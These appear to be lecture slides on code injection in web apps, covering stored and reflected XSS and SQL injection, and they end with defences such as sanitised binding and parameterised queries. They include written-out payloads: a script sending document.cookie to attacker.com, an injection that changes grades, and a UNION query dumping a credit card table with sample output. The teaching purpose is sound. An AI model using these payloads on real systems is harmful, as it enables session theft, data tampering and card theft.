Code Injection Attacks

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Consider adding HTML comments to our Photo App

- Easy change:

  Rather than `{model.comment}` do `div.innerHTML = model.comment;`

- What happens if someone inputs a comment with a script tag?

  `<script src="http://www.evil.com/damage.js" />`

- Called a **Cross Site Scripting Attack (XSS)**

  Really unfortunate for us. Every user that views that photo/comments gets hurt. (consider following with a CSRF attack)
Stored Cross Site Scripting Attack

- Attacker stores attacking code in a victim Web server, where it gets accessed by victim clients. Call a **Stored Cross Site Scripting Attack**

- On previous generations of web frameworks was a major attack loophole
  - Lots of stuffing things into `innerHTML`, bad escape processing

- Less so on JavaScript frameworks
  - Care is taken before stuffing things into the DOM
Reflected Cross Site Scripting

- Attacker doesn't need to store attack on website, can just reflect it off the website. Call a **Reflected Cross Site Scripting Attack**

- Consider a website that shows the search term used (like our states view)
  - What happens if we store the search term in an `innerHTML` and an attacker tricks a user into searching for:
    
    Justin Bieber
    
    ```html
    <img style="display:none" id="cookieMonster">
    <script>
        img = document.getElementById("cookieMonster");
        img.src = "http://attacker.com?cookie=" +
                encodeURIComponent(document.cookie);  
    </script>
    ```
Reflected Cross Site Scripting Attack

- How to get user to submit that URL? CSRF again:
  - Step #1: lure user to attacker site:
    - Sponsored advertisement
    - Spam email
    - Facebook application
  - Step #2: attacker HTML automatically loads the link in an invisible iframe
Modern JavaScript frameworks have better defences

- Angular bind-html - Sanitizes HTML to remove script, etc.
  
  `<div ng-bind-html="model.comment"></div>`  --- Safe

- Must explicitly tell Angular if you don't want it sanitized
  
  `model.comment = $sce.trustAsHtml(model.comment)`

Strict Contextual Escaping (SCE)

- Effectively marks all the places you need to worry about

- ReactJS: No opinion -> half dozen options, search "reactjs sanitize html"
Code Inject on the Server
SQL DataBase query models

- Request processing for get students of a specified advisor
  ```javascript
  var advisorName = routeParam.advisorName;
  var students = Student.find_by_sql(
      "SELECT students.* " +
      "FROM students, advisors " +
      "WHERE student.advisor_id = advisor.id " +
      "AND advisor.name = '' + advisorName + ''");
  ```

- Called with advisorName of 'Jones'
  ```sql
  SELECT students.* FROM students, advisors
  WHERE student.advisor_id = advisor.id
  AND advisor.name = 'Jones'
  ```
SQL Injection Attack - Update database

- What happens if the advisorName is:
  ```sql
  Jones'; UPDATE grades
  SET g.grade = 4.0
  FROM grades g, students s
  WHERE g.student_id = s.id
  AND s.name = 'Smith
  ```

- The following query will be generated:
  ```sql
  SELECT students.* FROM students, advisors
  WHERE student.advisor_id = advisor.id
  AND advisor.name = 'Jones'; UPDATE grades
  SET g.grade = 4.0
  FROM grades g, students s
  WHERE g.student_id = s.id
  AND s.name = 'Smith'
  ```
SQL Injection

Injection can also be used to extract sensitive information

- Modify existing query to retrieve different information
- Stolen information appears in "normal" Web output
Consider a simple pizza company view order history
Order history query to SQL database

- Order history request processing:
  ```javascript
  var month = routeParam.month;
  var orders = Orders.find_by_sql(
      "SELECT pizza, toppings, quantity, date " +
      "FROM orders " +
      "WHERE user_id=" + user_id +
      "AND order_month= '" + month + "'\n  );
  ```

- Month parameter set to:
  ```sql
  October' AND 1=0
  UNION SELECT name as pizza, card_num as toppings,
  exp_mon as quantity, exp_year as date
  FROM credit_cards WHERE name != '
  ```
SQL Injection - Dump the database

```
SELECT pizza, toppings, quantity, date
    FROM orders
    WHERE user_id=94412
    AND order_month='October' AND 1=0
UNION SELECT name as pizza, card_num as toppings,
    exp_mon as quantity, exp_year as date
    FROM credit_cards WHERE name != ''
```
Output the dump

```
Your Pizza Orders in October AND 1 = 0 UNION SELECT name as pizza, card_num as toppings, exp_mon as quantity, exp_year as date FROM credit_cards
```

<table>
<thead>
<tr>
<th>Pizza</th>
<th>Toppings</th>
<th>Quantity</th>
<th>Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>Neil Daswani</td>
<td>3962 4081 3317 9011</td>
<td>11</td>
<td>2009</td>
</tr>
<tr>
<td>Carol Collins</td>
<td>7132 0315 9444 6123</td>
<td>4</td>
<td>2011</td>
</tr>
<tr>
<td>Robert Bowman</td>
<td>4583 9224 0712 6734</td>
<td>6</td>
<td>2010</td>
</tr>
<tr>
<td>Li-Feng Chang</td>
<td>5010 2963 8442 9316</td>
<td>8</td>
<td>2012</td>
</tr>
</tbody>
</table>
```
CardSystems hit by SQL injection attack

- CardSystems - Credit card payment processing company
  
  SQL injection attack in June 2005
  
  Did in the company

- The Attack:
  
  Credit card #s stored unencrypted
  
  263,000 credit card #s stolen from database
  
  43 million credit card #s exposed
Solutions

- Don't write SQL
  
  ```java
  Student.findByAdvisorName(routeParam.advisorName);
  ```

- Use a framework that knows how to safely build SQL commands:
  
  ```java
  Student.find_by_sql("SELECT students.* " +
                     "FROM students, advisors " +
                     "WHERE student.advisor_id = advisor.id " +
                     "AND advisor.name = ?",
                     routeParam.advisorName);
  ```